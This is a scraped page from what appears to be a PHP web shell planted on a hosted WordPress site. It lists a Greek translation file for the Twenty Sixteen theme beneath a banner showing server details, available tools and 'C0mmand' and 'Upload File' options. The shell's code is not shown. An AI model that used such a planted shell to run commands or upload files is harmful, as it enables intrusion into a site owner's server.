|
Server IP : 10.131.40.8 / Your IP : 216.73.216.15 Web Server : Apache System : Linux webd008.cluster131.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64 User : ludmqhh ( 137773) PHP Version : 8.4.10 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/ludmqhh/www/provence-plomberie/../guillaume/wp-content/languages/themes/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
# Translation of Themes - Twenty Sixteen in Greek # This file is distributed under the same license as the Themes - Twenty Sixteen package. msgid "" msgstr "" "PO-Revision-Date: 2023-03-03 13:14:58+0000\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "Plural-Forms: nplurals=2; plural=n != 1;\n" "X-Generator: GlotPress/4.0.0-alpha.4\n" "Language: el_GR\n" "Project-Id-Version: Themes - Twenty Sixteen\n" #. Description of the theme #, gp-priority: high msgid "Twenty Sixteen is a modernized take on an ever-popular WordPress layout — the horizontal masthead with an optional right sidebar that works perfectly for blogs and websites. It has custom color options with beautiful default color schemes, a harmonious fluid grid using a mobile-first approach, and impeccable polish in every detail. Twenty Sixteen will make your WordPress look beautiful everywhere." msgstr "Το Twenty Sixteen είναι μια σύγχρονη προσέγγιση σε μια πάντοτε δημοφιλή διάταξη του WordPress — την οριζόντια μπάρα με μια προαιρετική πλευρική στήλη δεξιά, που είναι τέλεια για ιστολόγια και ιστότοπους. Έχει επιλογές προσαρμογής των χρωμάτων με όμορφους προεπιλεγμένους συνδυασμούς, ένα αρμονικά ρευστό πλαίσιο που βάζει στο επίκεντρο τις κινητές συσκευές και άψογο φινίρισμα σε κάθε λεπτομέρεια. Το Twenty Sixteen θα κάνει το WordPress σας να φαίνεται όμορφο παντού." #. Theme Name of the theme #: inc/block-patterns.php:17 inc/block-patterns.php:57 #, gp-priority: high msgid "Twenty Sixteen" msgstr "Twenty Sixteen" #: inc/block-patterns.php:102 msgid "— Takashi Irie" msgstr "— Takashi Irie" #: inc/block-patterns.php:50 msgid "Big Title with Two Columns Text" msgstr "Μεγάλος Τίτλος με κείμενο σε δύο στήλες" #: inc/block-patterns.php:140 msgid "Pre-Order Now" msgstr "Προπαραγγείλτε τώρα" #: inc/block-patterns.php:28 msgid "Large heading with short description" msgstr "Μεγάλη επικεφαλίδα με σύντομη περιγραφή" #: functions.php:175 msgid "Blue Gray" msgstr "Μπλε γκρι" #: functions.php:180 msgid "Bright Blue" msgstr "Ανοικτό Mπλέ " #: functions.php:205 msgid "Bright Red" msgstr "Φωτεινό κόκκινο" #: functions.php:190 msgid "Dark Brown" msgstr "Σκούρο καφέ" #: functions.php:155 msgid "Dark Gray" msgstr "Σκούρο γκρι" #: functions.php:200 msgid "Dark Red" msgstr "Σκούρο κόκκινο" #: functions.php:185 msgid "Light Blue" msgstr "Απαλό Μπλέ" #: functions.php:165 msgid "Light Gray" msgstr "Ανοικτό γκρι" #: functions.php:195 msgid "Medium Brown" msgstr "Μέτριο καφέ" #: functions.php:160 msgid "Medium Gray" msgstr "Μεσαίο γκρι" #: functions.php:170 msgid "White" msgstr "Λευκό" #. translators: %s: Post title. Only visible to screen readers. #: inc/template-tags.php:195 template-parts/content.php:29 msgid "Continue reading<span class=\"screen-reader-text\"> \"%s\"</span>" msgstr "Διαβάστε περισσότερα<span class=\"screen-reader-text\"> \"%s\"</span>" #. translators: %s: Post title. Only visible to screen readers. #: image.php:88 template-parts/content-page.php:39 #: template-parts/content-search.php:28 template-parts/content-search.php:43 #: template-parts/content-single.php:47 template-parts/content.php:53 msgid "Edit<span class=\"screen-reader-text\"> \"%s\"</span>" msgstr "Επεξεργασία <span class=\"screen-reader-text\"> \"%s\"</span>" #: inc/customizer.php:347 msgid "Red" msgstr "Κόκκινο" #. translators: %s: Post title. #: comments.php:31 msgctxt "comments title" msgid "One thought on “%s”" msgstr "Μια σκέψη στο “%s”" #: searchform.php:16 msgctxt "submit button" msgid "Search" msgstr "Αναζήτηση" #: searchform.php:14 msgctxt "placeholder" msgid "Search …" msgstr "Αναζήτηση…" #: searchform.php:13 msgctxt "label" msgid "Search for:" msgstr "Αναζήτηση για:" #: footer.php:17 msgid "Footer Primary Menu" msgstr "Πρωτεύων μενού υποσέλιδου" #: footer.php:30 msgid "Footer Social Links Menu" msgstr "Μενού κοινωνικών συνδέσμων υποσέλιδου" #: functions.php:273 msgid "Add widgets here to appear in your sidebar." msgstr "Προσθέστε μικροεφαρμογές εδώ ώστε να εμφανιστούν στην πλευρική στήλη." #: template-parts/content.php:14 msgid "Featured" msgstr "Προβεβλημένα" #: template-parts/content-none.php:33 msgid "It seems we can’t find what you’re looking for. Perhaps searching can help." msgstr "Φαίνεται ότι δε βρήκαμε αυτό που ζητούσατε. Αν θέλετε, δοκιμάστε την αναζήτηση." #: template-parts/content-none.php:28 msgid "Sorry, but nothing matched your search terms. Please try again with some different keywords." msgstr "Λυπούμαστε, αλλά τίποτα δε βρέθηκε που ταιριάζει στους όρους αναζήτησης. Παρακαλώ προσπαθήστε ξανά με άλλες λέξεις κλειδιά." #. translators: %s: Post editor URL. #: template-parts/content-none.php:22 msgid "Ready to publish your first post? <a href=\"%1$s\">Get started here</a>." msgstr "Έτοιμοι για την πρώτη σας δημοσίευση; <a href=\"%1$s\">Πάμε</a>!" #: template-parts/content-none.php:13 msgid "Nothing Found" msgstr "Δε βρέθηκε τίποτα" #. translators: %s: The post author display name. #: template-parts/biography.php:35 msgid "View all posts by %s" msgstr "Δείτε όλα τα άρθρα από %s" #: template-parts/biography.php:28 msgid "Author:" msgstr "Δημιουργός:" #: single.php:42 msgid "Previous post:" msgstr "Προηγούμενο άρθρο:" #: single.php:39 msgid "Next post:" msgstr "Επόμενο άρθρο:" #: single.php:41 msgid "Previous" msgstr "Προηγούμενη" #: single.php:38 msgid "Next" msgstr "Επόμενο" #. translators: %s: The search query. #: search.php:21 msgid "Search Results for: %s" msgstr "Αποτελέσματα αναζήτησης για : %s" #: inc/template-tags.php:113 msgctxt "Used before tag names." msgid "Tags" msgstr "Ετικέτες" #: inc/template-tags.php:104 msgctxt "Used before category names." msgid "Categories" msgstr "Κατηγορίες" #: inc/template-tags.php:100 inc/template-tags.php:109 msgctxt "Used between list items, there is a space after the comma." msgid ", " msgstr ", " #: inc/template-tags.php:84 msgctxt "Used before publish date." msgid "Posted on" msgstr "Δημοσιεύτηκε την" #: inc/template-tags.php:40 msgctxt "Used before post format." msgid "Format" msgstr "Μορφή" #. translators: %s: Post title. Only visible to screen readers. #: inc/template-tags.php:53 msgid "Leave a comment<span class=\"screen-reader-text\"> on %s</span>" msgstr "Αφήστε το σχόλιό σας<span class=\"screen-reader-text\"> στο %s</span>" #: inc/template-tags.php:26 msgctxt "Used before post author name." msgid "Author" msgstr "Συντάκτης" #: functions.php:210 inc/customizer.php:357 msgid "Yellow" msgstr "Κίτρινο" #: inc/customizer.php:337 msgid "Gray" msgstr "Γκρι" #: inc/customizer.php:327 msgid "Dark" msgstr "Σκούρο" #: inc/customizer.php:317 msgid "Default" msgstr "Προεπιλεγμένο" #: inc/customizer.php:242 msgid "Secondary Text Color" msgstr "Δευτερεύον χρώμα κειμένου" #: inc/customizer.php:221 msgid "Main Text Color" msgstr "Χρώμα κυρίως κειμένου" #: inc/customizer.php:200 msgid "Link Color" msgstr "Χρώμα συνδέσμου" #: inc/customizer.php:176 msgid "Page Background Color" msgstr "Χρώμα φόντου σελίδας" #: image.php:107 single.php:31 msgctxt "Parent post link" msgid "<span class=\"meta-nav\">Published in</span><span class=\"post-title\">%title</span>" msgstr "<span class=\"meta-nav\">Δημοσιεύθηκε στο</span><span class=\"post-title\">%title</span>" #: inc/customizer.php:153 msgid "Base Color Scheme" msgstr "Βασικό Χρωματικό Θέμα" #. translators: %s: The current WordPress version. #: inc/back-compat.php:45 inc/back-compat.php:62 inc/back-compat.php:85 msgid "Twenty Sixteen requires at least WordPress version 4.4. You are running version %s. Please upgrade and try again." msgstr "Το θέμα Twenty Sixteen απαιτεί τουλάχιστον την έκδοση 4.4 του WordPress. Εσείς χρησιμοποιείτε την έκδοση %s. Παρακαλούμε αναβαθμίστε και δοκιμάστε ξανά." #: image.php:77 msgctxt "Used before full size attachment link." msgid "Full size" msgstr "Πλήρη μέγεθος" #: image.php:58 template-parts/content-page.php:24 #: template-parts/content-single.php:26 template-parts/content.php:36 msgid "Pages:" msgstr "Σελίδες:" #: image.php:26 msgid "Next Image" msgstr "Επόμενη εικόνα" #: image.php:25 msgid "Previous Image" msgstr "Προηγούμενη εικόνα" #: header.php:50 msgid "Menu" msgstr "Μενού" #: header.php:28 msgid "Skip to content" msgstr "Μετάβαση στο περιεχόμενο" #: functions.php:423 msgid "expand child menu" msgstr "επέκταση του μενού απόγονος" #: functions.php:424 msgid "collapse child menu" msgstr "άνοιγμα υπό-μενού" #. translators: If there are characters in your language that are not supported #. by Merriweather, translate this to 'off'. Do not translate into your own #. language. #: functions.php:326 msgctxt "Merriweather font: on or off" msgid "on" msgstr "off" #. translators: If there are characters in your language that are not supported #. by Montserrat, translate this to 'off'. Do not translate into your own #. language. #: functions.php:334 msgctxt "Montserrat font: on or off" msgid "on" msgstr "off" #: functions.php:285 functions.php:297 msgid "Appears at the bottom of the content on posts and pages." msgstr "Εμφανίζεται κάτω από το περιεχόμενο σε άρθρα και σελίδες." #: functions.php:283 msgid "Content Bottom 1" msgstr "Κάτω από περιεχόμενο 1" #: functions.php:295 msgid "Content Bottom 2" msgstr "Κάτω από περιεχόμενο 2" #. translators: If there are characters in your language that are not supported #. by Inconsolata, translate this to 'off'. Do not translate into your own #. language. #: functions.php:342 msgctxt "Inconsolata font: on or off" msgid "on" msgstr "off" #: functions.php:271 msgid "Sidebar" msgstr "Πλευρική στήλη" #: functions.php:93 header.php:67 msgid "Social Links Menu" msgstr "Μενού Συνδέσμων Κοινωνικών Δικτύων" #: functions.php:92 header.php:54 msgid "Primary Menu" msgstr "Κύριο Μενού" #. translators: %s: WordPress #: footer.php:63 msgid "Proudly powered by %s" msgstr "Με την υποστήριξη του %s" #: comments.php:71 msgid "Comments are closed." msgstr "Τα σχόλια είναι απενεργοποιημένα." #. translators: 1: Number of comments, 2: Post title. #: comments.php:35 msgctxt "comments title" msgid "%1$s thought on “%2$s”" msgid_plural "%1$s thoughts on “%2$s”" msgstr[0] "%1$s σκέψη σχετικά μέ το “%2$s”" msgstr[1] "%1$s σκέψεις σχετικά με το “%2$s”" #: archive.php:54 image.php:62 index.php:51 search.php:46 #: template-parts/content-page.php:28 template-parts/content-single.php:30 #: template-parts/content.php:40 msgid "Page" msgstr "Σελίδα" #: archive.php:53 index.php:50 search.php:45 msgid "Next page" msgstr "Επόμενη σελίδα" #: archive.php:52 index.php:49 search.php:44 msgid "Previous page" msgstr "Προηγούμενη σελίδα" #: 404.php:21 msgid "It looks like nothing was found at this location. Maybe try a search?" msgstr "Φαίνεται ότι δε βρέθηκε τίποτα σε αυτή την τοποθεσία. Μήπως να δοκιμάζατε μια αναζήτηση;" #: 404.php:17 msgid "Oops! That page can’t be found." msgstr "Ωπα! Αυτή η σελίδα δε βρέθηκε." #. Author of the theme #, gp-priority: low msgid "the WordPress team" msgstr "Η Ομάδα του WordPress" #. Theme URI of the theme #, gp-priority: low msgid "https://wordpress.org/themes/twentysixteen/" msgstr "https://wordpress.org/themes/twentysixteen/" #. Author URI of the theme #: footer.php:60 #, gp-priority: low msgid "https://wordpress.org/" msgstr "https://wordpress.org/"
